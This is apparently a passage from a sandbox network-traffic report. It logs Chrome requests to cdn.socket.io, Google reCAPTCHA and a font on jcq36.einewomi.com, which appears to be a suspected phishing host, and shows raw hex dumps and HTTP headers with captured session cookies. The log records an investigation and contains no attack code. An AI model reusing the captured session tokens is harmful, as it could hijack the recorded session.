2024-04-24 21:08:01 UTC	1369	IN	Data Raw: a5 9d 78 70 bb 01 8d f1 0f 5c 20 73 e7 f4 80 90 ec 7e 38 f0 a3 56 e0 c7 e8 e3 7d d2 4f 07 7e 26 30 b2 0d b8 df c0 03 2e 8c 72 e1 9b 3a 86 21 ce e9 26 ff 3e ac d3 30 c0 1d f4 8f 92 d2 69 00 75 81 cf f2 23 ea ba 0d 25 6f 13 b8 0c de f1 3c ba 07 d0 03 5e e4 7c ba 40 f4 b7 2b d9 bb f2 f4 57 71 69 64 ff 53 f4 70 99 b5 89 9e 99 f1 fe 4b 90 d6 75 a2 3b 01 57 d2 39 f4 5d fa 07 3a 13 d1 db c5 d0 7f e7 4b e9 db 4c bb 67 9b ef 91 cf d2 91 9c 1c ff 24 a0 b5 74 03 28 ab 50 d3 19 48 fd dd 73 92 b9 b3 ef 75 3a 07 ba da 43 fe 97 ef 7c e8 aa 4f 56 06 94 bc d9 1f cf 73 64 9d f3 76 48 59 7f c1 aa 7f 14 a8 36 41 d7 e4 40 ff 56 a1 ad 12 49 1e 7c e3 bd 13 0b dd 4d fe 39 2e 24 0b f4 68 03 2c 03 29 2e f8 0c e8 9a fc a0 71 2a 24 40 ff 3b e4 b9 b8 d6 2b d1 67 02 ce 36 d7 f9 22 1f Data Ascii: xp\ s~8V}O~&0.r:!&>0iu#%o<^\|@+WqidSpKu;W9]:KLg$t(PHsu:C\|OVsdvHY6A@VI\|M9.$h,).q*$@;+g6"
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 9c 63 21 39 21 b9 6e ac 3b c1 9d ee 2e 76 33 dc 15 ee 2a 77 83 bb d9 dd e7 1e 74 0b dd d3 5e 4d af 8e e7 7a 3e 2f ca 6b e9 75 f0 62 bc a5 de 0a 2f cb cb f6 d6 45 d6 8a f4 45 46 45 4e 8b 4c f6 39 be 70 5f 15 5f 75 5f 1d 9f eb 6b e6 eb e2 8b f3 3d d4 78 7b d0 09 56 fc 65 d3 59 e7 6c 68 71 b1 e9 f3 68 41 07 6e a4 2f 03 4c d7 60 46 90 ca 72 b2 58 c3 7a b9 a6 2b cf 74 fd a0 33 4e 44 a9 ae 2d 4e 41 a9 ae 18 37 d1 9d e6 2e 74 d3 dd e5 6e 96 9b e3 e6 b9 7b dc 7c f7 47 f7 94 57 c3 8b f0 ea 79 9e e9 6a e1 b5 2f d7 b5 f2 5f 75 55 fb 8b ae 81 a6 8b 60 a8 e9 52 99 2e 4d 84 e2 4d a6 2f 86 58 3a f1 f7 51 07 8a 8e 96 dd 16 0d 2b 1a 54 94 04 e7 22 8a ea f2 9f 23 98 50 be 0e 0e a6 06 63 83 93 03 e7 82 04 ce 04 7e 0d 14 06 32 02 63 02 ab 8f 3f 75 fc 49 ff 01 7f be 7f 07 f8 Data Ascii: c!9!n;.v3*wt^Mz>/kub/EEFENL9p__u_k=x{VeYlhqhAn/L`FrXz+t3ND-NA7.tn{\|GWyj/_uU`R.MM/X:Q+T"#Pc~2c?uI
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 24 8e 7d 5f 63 dd ad 18 fe a6 ff 2f f7 e0 48 1c b2 5f b8 86 07 10 29 77 0d 94 bb da 56 ae 12 b2 a3 52 05 42 25 2a c4 14 33 04 30 9f 14 5e 4b 90 15 6a 35 2d 17 f1 e9 d1 c8 8c 10 b7 07 f7 7c d3 af d8 6b dd ed c3 7e 30 12 fb 17 34 1b 0d 60 54 b1 df fa a9 f5 63 20 86 c1 4c 3a c3 70 bf e7 87 a0 95 ae a4 74 86 83 52 38 d4 c4 23 96 f5 2c c3 50 ba 17 53 ce 30 ae 2e 00 50 aa d5 6a 85 52 1b 8f 90 9e d5 b1 7a a4 65 75 f8 2d ac bd b6 ce 7a b1 ff 71 ec 9f 37 82 ee f0 43 77 d6 a3 32 e1 06 3f f4 99 35 07 ca 67 99 f7 a1 fc 9d 50 be 0f 13 ca c4 30 53 2d d9 2e 88 c7 84 7e cc 00 53 f9 46 86 65 09 e9 8c 67 99 12 71 1c e1 0e f2 42 e5 e1 61 be 9a 68 7d 58 4c 78 4c 48 90 26 d4 37 34 31 42 05 cd d2 e8 52 c3 b0 9f af 42 e9 ef ef e7 eb 89 f5 3a 94 9a 87 d3 d3 62 f4 3a 35 4a cd 10 Data Ascii: $}_c/H_)wVRB%*30^Kj5-\|k~04`Tc L:ptR8#,PS0.PjRzeu-zq7Cw2?5gP0S-.~SFegqBah}XLxLH&741BRB:b:5J
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: b5 cd 45 45 5b 6e 74 ff e5 22 3a 74 e6 cc b9 53 7f e5 87 cc 6d c7 17 37 9e 58 9a 61 3d 8f bf da d6 df b7 4b 50 42 bd 3d a3 67 f9 eb c0 1f 2d 93 c4 58 2c 53 c3 42 43 82 7d 78 cc fa 69 c0 20 c0 a5 be 64 0a 9e 9c 65 81 01 88 31 44 07 24 05 26 01 cb b4 48 3b 39 cb 94 5a a5 81 b0 2d c3 6c 30 6b 33 32 c6 f1 0e d9 78 46 3e e7 ce fa d1 f2 57 cb 5e e9 9d 37 9c fe 79 f7 27 e9 a9 c0 3b 67 3c 3c 26 dc 5d f2 a3 e6 57 cd 53 8f 19 a3 3f 6f fc a4 ec ad c9 78 79 1f 9d 93 83 99 54 4b 12 0b 76 02 99 91 c5 a9 bf 11 b4 36 5b cb d8 4d ff be 9a a0 00 4d b0 6f b0 4e 3d cd 57 09 52 85 60 06 06 51 8d 8c 84 e9 16 f4 06 30 58 9e 7d b9 85 f7 df 83 ba 5f 10 1e 67 15 ac 70 e7 22 7a b2 f3 d1 f5 d3 05 c3 d1 fb ce 1f 12 04 f6 ee ee 1f c5 58 d7 e3 55 d6 fd c0 ec a5 87 85 c7 b6 f6 f6 0e 0a Data Ascii: EE[nt":tSm7Xa=KPB=g-X,SBC}xi de1D$&H;9Z-l0k32xF>W^7y';g<<&]WS?oxyTKv6[MMoN=WR`Q0X}_gp"zXU
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 11 4c b9 65 66 58 28 56 91 e1 64 93 29 7b 49 42 60 ed 03 9f cb 18 22 48 2e 36 7a 83 03 35 3e 6a 6f 2f 4f 0f 91 68 05 13 81 22 5c c7 a8 b6 1b 5a 7e 9e ec 18 e9 ec db 4d dd c5 79 d6 39 63 8e 50 de 92 69 ba a9 29 09 85 41 a5 86 35 c2 9c ee ea a2 0d 46 69 bc 85 9e 62 63 a7 96 c5 98 32 8d fa e9 a6 3c 42 73 99 50 85 5d e8 fc 01 d6 90 c6 c7 45 c1 51 25 20 cf 23 ac 8d 3a 6f 4f e0 23 cc 22 dc 18 45 30 7d 8c e3 61 54 6b 6f 99 e5 62 75 53 ae 29 61 46 48 99 b1 47 a8 5a 59 5b d6 17 45 d8 15 d2 5b 98 91 13 6d 98 9e 99 4d e6 2c a1 8a ce 59 09 c4 8f 57 20 c4 c6 c5 42 3f e2 52 e2 72 d2 99 8f 8e 3e 6d 19 58 10 76 dd 69 88 0e 0c f0 d3 78 7b b9 2a 99 04 94 60 d7 9d 64 90 39 ce 6a 0a a5 82 fc df 8e 4b 47 9b 7b e3 a6 f8 4f 09 1c 20 73 dd fd cf ff e0 dc c5 92 32 5d 71 74 62 a6 Data Ascii: LefX(Vd){IB`"H.6z5>jo/Oh"\Z~My9cPi)A5Fibc2<BsP]EQ% #:oO#"E0}aTkobuS)aFHGZY[E[mM,YW B?Rr>mXvix{*`d9jKG{O s2]qtb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49763	13.226.210.57	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:00 UTC	625	OUT	GET /4.6.0/socket.io.min.js HTTP/1.1 Host: cdn.socket.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://jcq36.einewomi.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:08:01 UTC	701	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 45806 Connection: close Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000, immutable Content-Disposition: inline; filename="socket.io.min.js" Date: Fri, 19 Apr 2024 23:47:23 GMT ETag: "80f5b8c6a9eeac15de93e5a112036a06" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Vercel-Cache: HIT X-Vercel-Id: pdx1::r8gft-1713570443288-a687dd7290b7 X-Cache: Hit from cloudfront Via: 1.1 f7a747899149deb363c7a3968c0ed56a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LAX50-C1 X-Amz-Cf-Id: syQE7mP5tDMgPoWvJoZGODT7RI5gIpRVejTgylB6YZuXH83dHBfZJg== Age: 422438
2024-04-24 21:08:01 UTC	16384	IN	Data Raw: 2f 2a 21 0a 20 2a 20 53 6f 63 6b 65 74 2e 49 4f 20 76 34 2e 36 2e 30 0a 20 2a 20 28 63 29 20 32 30 31 34 2d 32 30 32 33 20 47 75 69 6c 6c 65 72 6d 6f 20 52 61 75 63 68 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 2e 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 65 29 3a 28 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 Data Ascii: /! Socket.IO v4.6.0 * (c) 2014-2023 Guillermo Rauch * Released under the MIT License. */!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof g
2024-04-24 21:08:01 UTC	16384	IN	Data Raw: 6c 65 3d 21 31 3b 66 6f 72 28 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 72 3d 74 5b 6e 5d 2c 69 3d 6e 3d 3d 3d 74 2e 6c 65 6e 67 74 68 2d 31 3b 45 28 72 2c 65 2e 73 75 70 70 6f 72 74 73 42 69 6e 61 72 79 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 72 79 7b 65 2e 77 73 2e 73 65 6e 64 28 74 29 7d 63 61 74 63 68 28 74 29 7b 7d 69 26 26 69 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 77 72 69 74 61 62 6c 65 3d 21 30 2c 65 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 64 72 61 69 6e 22 29 7d 29 2c 65 2e 73 65 74 54 69 6d 65 6f 75 74 46 6e 29 7d 29 29 7d 2c 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 6e 28 72 29 7d 7d 2c 7b 6b 65 79 3a 22 64 6f 43 6c 6f 73 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 6f Data Ascii: le=!1;for(var n=function(n){var r=t[n],i=n===t.length-1;E(r,e.supportsBinary,(function(t){try{e.ws.send(t)}catch(t){}i&&it((function(){e.writable=!0,e.emitReserved("drain")}),e.setTimeoutFn)}))},r=0;r<t.length;r++)n(r)}},{key:"doClose",value:function(){vo
2024-04-24 21:08:01 UTC	13038	IN	Data Raw: 73 68 69 66 74 28 74 29 2c 74 68 69 73 2e 5f 6f 70 74 73 2e 72 65 74 72 69 65 73 26 26 21 74 68 69 73 2e 66 6c 61 67 73 2e 66 72 6f 6d 51 75 65 75 65 26 26 21 74 68 69 73 2e 66 6c 61 67 73 2e 76 6f 6c 61 74 69 6c 65 29 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 61 64 64 54 6f 51 75 65 75 65 28 6e 29 2c 74 68 69 73 3b 76 61 72 20 69 3d 7b 74 79 70 65 3a 45 74 2e 45 56 45 4e 54 2c 64 61 74 61 3a 6e 2c 6f 70 74 69 6f 6e 73 3a 7b 7d 7d 3b 69 66 28 69 2e 6f 70 74 69 6f 6e 73 2e 63 6f 6d 70 72 65 73 73 3d 21 31 21 3d 3d 74 68 69 73 2e 66 6c 61 67 73 2e 63 6f 6d 70 72 65 73 73 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 5b 6e 2e 6c 65 6e 67 74 68 2d 31 5d 29 7b 76 61 72 20 6f 3d 74 68 69 73 2e 69 64 73 2b 2b 2c 73 3d 6e 2e 70 6f 70 28 29 3b 74 68 Data Ascii: shift(t),this._opts.retries&&!this.flags.fromQueue&&!this.flags.volatile)return this._addToQueue(n),this;var i={type:Et.EVENT,data:n,options:{}};if(i.options.compress=!1!==this.flags.compress,"function"==typeof n[n.length-1]){var o=this.ids++,s=n.pop();th

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49762	142.250.101.104	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:00 UTC	717	OUT	GET /recaptcha/api.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://jcq36.einewomi.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:08:01 UTC	528	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Expires: Wed, 24 Apr 2024 21:08:01 GMT Date: Wed, 24 Apr 2024 21:08:01 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 21:08:01 UTC	727	IN	Data Raw: 34 63 36 0d 0a 2f 2a 20 50 4c 45 41 53 45 20 44 4f 20 4e 4f 54 20 43 4f 50 59 20 41 4e 44 20 50 41 53 54 45 20 54 48 49 53 20 43 4f 44 45 2e 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 3d 77 69 6e 64 6f 77 2c 43 3d 27 5f 5f 5f 67 72 65 63 61 70 74 63 68 61 5f 63 66 67 27 2c 63 66 67 3d 77 5b 43 5d 3d 77 5b 43 5d 7c 7c 7b 7d 2c 4e 3d 27 67 72 65 63 61 70 74 63 68 61 27 3b 76 61 72 20 67 72 3d 77 5b 4e 5d 3d 77 5b 4e 5d 7c 7c 7b 7d 3b 67 72 2e 72 65 61 64 79 3d 67 72 2e 72 65 61 64 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 28 63 66 67 5b 27 66 6e 73 27 5d 3d 63 66 67 5b 27 66 6e 73 27 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 66 29 3b 7d 3b 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 Data Ascii: 4c6/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.g
2024-04-24 21:08:01 UTC	502	IN	Data Raw: 63 47 6c 79 65 53 49 36 4d 54 63 79 4e 54 51 77 4e 7a 6b 35 4f 53 77 69 61 58 4e 54 64 57 4a 6b 62 32 31 68 61 57 34 69 4f 6e 52 79 64 57 55 73 49 6d 6c 7a 56 47 68 70 63 6d 52 51 59 58 4a 30 65 53 49 36 64 48 4a 31 5a 58 30 3d 27 3b 64 2e 68 65 61 64 2e 70 72 65 70 65 6e 64 28 6d 29 3b 70 6f 2e 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 51 6f 75 6b 48 35 6a 53 4f 33 73 4b 46 7a 56 45 41 37 56 63 38 56 67 43 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 3b 70 6f 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 27 61 6e 6f 6e 79 6d 6f 75 73 27 3b 70 6f 2e 69 6e 74 65 67 72 69 74 79 3d 27 73 68 61 33 38 34 2d 41 32 33 36 4a 2f 5a 55 67 55 2b 30 2f 4f 36 62 2f Data Ascii: cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__en.js';po.crossOrigin='anonymous';po.integrity='sha384-A236J/ZUgU+0/O6b/
2024-04-24 21:08:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49764	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:01 UTC	1422	OUT	GET /89dBaTGaMI14cdC3GglM670jDab80 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://jcq36.einewomi.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
2024-04-24 21:08:02 UTC	618	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:02 GMT Content-Type: font/woff2 Content-Length: 43596 Connection: close Content-Disposition: inline; filename="89dBaTGaMI14cdC3GglM670jDab80" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HHO2qOz948Jmv15zpbS9eCtQ4NxOyFFrZecVxPof5uvSEVxvMurEU0cjfyGmVg3k1zsFodIgYQZljlWFsSeDFuvTpZbzn2X80BlO5pyUXQgRcq9GE3O9wql1nBUxLg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879910f9dfb22ac0-LAX
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 aa 4c 00 13 00 00 00 01 cf 50 00 00 a9 d5 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 83 55 1b 82 e4 7a 1c 8b 04 3f 48 56 41 52 8a 3b 3f 4d 56 41 52 46 06 60 3f 53 54 41 54 1c 00 8e 48 2f 4c 11 08 0a 81 c2 40 81 a5 50 0b 87 3e 00 30 82 8e 00 01 36 02 24 03 8e 78 04 20 05 8d 2e 07 97 7b 5b d6 bb 71 05 b3 c3 e4 8f 52 6c ba 0d 01 b0 74 fa f4 7e 76 f7 0b e8 b1 ed 28 e5 b6 c1 e8 b6 d0 54 c3 74 05 3b f6 14 6e 27 b0 dd 76 3d cc fe ff ff 3f 7f 99 88 6c 5d 02 78 49 92 b5 85 6d 1d 22 a8 ea 3f 68 4e 58 04 2c 02 96 b5 38 1a 3b 47 b4 d6 af cb 6d 2c 7d c1 68 d7 aa 3e 28 3d 5b ac 96 88 6d 2f d4 3e 9b b8 a1 ef 38 26 66 c1 e0 26 9d 06 1b b8 9b ad 91 5d a1 75 95 dd e0 26 9c 56 44 8f e5 5d ec 3c 8d 04 79 52 93 65 Data Ascii: wOF2LPUz?HVAR;?MVARF`?STATH/L@P>06$x .{[qRlt~v(Tt;n'v=?l]xIm"?hNX,8;Gm,}h>(=[m/>8&f&]u&VD]<yRe
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: ce 01 59 34 1f 9d bd 8a 52 b4 2f 33 3f 67 99 8f 65 06 89 20 2b 68 b6 89 a0 9b 8a ae b0 a2 a6 3a b5 ec 82 57 f7 a8 b4 29 ae c3 4a fc 2f 9b fd 9b 8e 1e a7 1f 4c 94 11 04 11 70 88 a9 53 c7 ce fc 4e 6b cf dd dd 99 7e 04 52 ed ca 80 74 e6 76 4b 23 f8 04 fa 00 1c 19 30 73 e8 30 73 9c 6d b9 95 19 30 23 f6 ff 9b fb f7 6d 6e 59 57 55 56 92 73 55 55 72 b2 cf 50 26 b9 8c 29 10 64 72 df 5d 2b 2f 05 c2 0f a8 80 48 e8 6f 3c 93 30 f2 f3 84 7f e3 db 5b 8b ff 0e 10 6f 19 04 14 72 10 d1 5c da 40 af 80 94 56 56 b8 8c 8c ab 7c a5 ef 01 b7 48 57 90 00 e0 92 b2 7c f9 b2 10 d1 69 9a db d9 4b 80 2b 78 00 af 2a 85 63 f9 a2 8d 64 ff b1 1a 3c 3d 8f 37 0e 3e d9 0e 44 66 41 90 c1 c0 1f 61 26 59 35 9d ce fc 85 47 48 9c dc 58 77 25 09 a5 15 5f 9a 11 1f 54 24 c2 22 11 1e 1e ec 77 dd f6 Data Ascii: Y4R/3?ge +h:W)J/LpSNk~RtvK#0s0sm0#mnYWUVsUUrP&)dr]+/Ho<0[or\@VV\|HW\|iK+x*cd<=7>DfAa&Y5GHXw%_T$"w
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: 1c 5c 77 d7 a0 fa 12 3f 6b bd ca a8 42 73 42 62 10 98 b4 f6 0e ac d1 ab 8c c6 ba 6c d6 a6 bd 8f e0 20 cd e8 62 27 0f 08 ec e5 cc 68 e7 8b 82 d4 85 de b0 f7 22 47 c9 8b 38 8f 5d 1b f4 85 cd 03 e2 9b 69 b0 ab 13 18 53 6e 61 32 b9 d1 6d b8 41 8e 22 62 2c 2c 30 8a 7b a0 49 38 12 82 8e 98 86 1c 51 04 1e 86 45 46 74 53 6d e6 03 b9 de 81 38 85 a9 ec 75 37 43 78 3d ca 48 4f 5b 15 96 8b 8d 12 31 2f f3 91 1f c7 bf d4 5e 7f bd 72 03 f9 78 2e 33 c4 7a 57 30 85 f4 5e 13 e4 d7 28 05 93 bf 23 86 da fc d6 62 18 1d c2 f1 40 20 63 96 33 fc a5 52 e7 f9 45 15 ce f1 bb 6a 4c d5 d9 cc ce 8e 9d 17 21 b3 3e 2a 39 56 66 15 56 63 0d d6 f1 df e0 d4 c1 bd ef 30 01 c5 7f 4b d3 80 08 2e 94 c2 60 c4 f5 1e c7 c1 b8 85 e0 63 f2 fc 21 17 35 5f a4 a7 ad c0 72 cd f9 6e a8 6d 5e 74 02 56 69 Data Ascii: \w?kBsBbl b'h"G8]iSna2mA"b,,0{I8QEFtSm8u7Cx=HO[1/^rx.3zW0^(#b@ c3REjL!>*9VfVc0K.`c!5_rnm^tVi
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: 3b b3 43 ed 75 3c 78 3e 69 d2 37 ba f1 75 04 b4 31 a0 6b d9 95 77 1d 23 6f a4 c5 df 5d ba 80 66 40 fe 92 bc d2 d4 a3 f5 e3 52 ff c5 95 ce b0 ba 07 84 c9 06 71 8e 2d 20 fe 29 8f 05 75 16 82 01 d3 61 53 e3 6b 5a 37 d1 a6 82 5c fe 86 39 f2 2e 9b 27 2f b0 d6 9a 6f b0 58 0d 1c 6e 43 b9 54 13 c5 a3 67 49 5b 86 88 24 13 92 cd ac 29 56 94 ac 46 34 34 48 79 1b 5b b6 61 bf 8e 2a 1e 91 44 de 54 4f 4a 03 aa b6 ec e1 15 cb 40 94 90 25 92 d9 08 81 45 cb 09 d4 18 e7 5e 74 bb cb 17 59 6d 8a b8 28 8a 85 3f cb 03 25 db 30 4c 74 10 a7 9d 95 ab d4 49 26 33 84 93 08 34 89 86 b6 44 5b 58 fc 79 b4 58 5a 2a ad e6 33 84 88 c8 16 60 76 da 7a a0 61 23 1a 24 e2 8f ce 7f 13 bb a1 3d 21 b6 2b 7d ac 76 c8 d7 02 73 06 b5 db d0 49 22 32 49 bf 10 bc a0 d8 9c 34 99 2c 33 d6 72 e1 d2 df 5e Data Ascii: ;Cu<x>i7u1kw#o]f@Rq- )uaSkZ7\9.'/oXnCTgI[$)VF44Hy[aDTOJ@%E^tYm(?%0LtI&34D[XyXZ3`vza#$=!+}vsI"2I4,3r^
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: 04 af fc 19 50 49 da eb 8a 3c df 27 15 e1 2d ee e3 6c 66 c3 8a 74 9d 41 cf 35 8b 23 8e 31 92 cd 82 48 3a da da e8 8e 7e 1f 52 bd d3 e1 1b ba e3 c7 47 98 1d 2b 7d 28 4b 9f bc 9a 21 49 26 fb 72 ba bd 8f 18 71 eb c9 33 7b 43 ea e5 50 0a 41 63 d6 25 6f ff 5f 0c 77 c8 58 d1 6c 80 63 73 ae d3 0c d7 50 23 db 96 89 28 3d cf ea 7e a0 66 0f 4c 73 60 4c 5e 3a df 30 c8 21 e4 66 9d d2 e5 89 a7 77 b6 7a f9 c9 18 be 67 f7 24 4b 10 8d 53 6d 7f 1d 25 cc 2f e5 c4 d7 e0 52 ce 69 b0 12 70 9a 56 6f 89 52 76 69 5c c9 af ca 5e f6 8b a8 f6 69 1f 8e b4 a6 cc 48 4d ea c7 e1 72 4e 10 31 7d 25 32 d3 f6 a6 ad 9c dd f3 ed a8 cf 9d e3 87 b5 d2 33 45 3d 60 68 ca 13 74 8d a8 cd c7 ac 4b bc db 69 e7 25 31 fc e9 40 8d 94 e5 4d f5 ad 81 68 83 eb e8 05 23 03 df f5 fe 06 36 b5 c7 3a 22 04 d7 Data Ascii: PI<'-lftA5#1H:~RG+}(K!I&rq3{CPAc%o_wXlcsP#(=~fLs`L^:0!fwzg$KSm%/RipVoRvi\^iHMrN1}%23E=`htKi%1@Mh#6:"
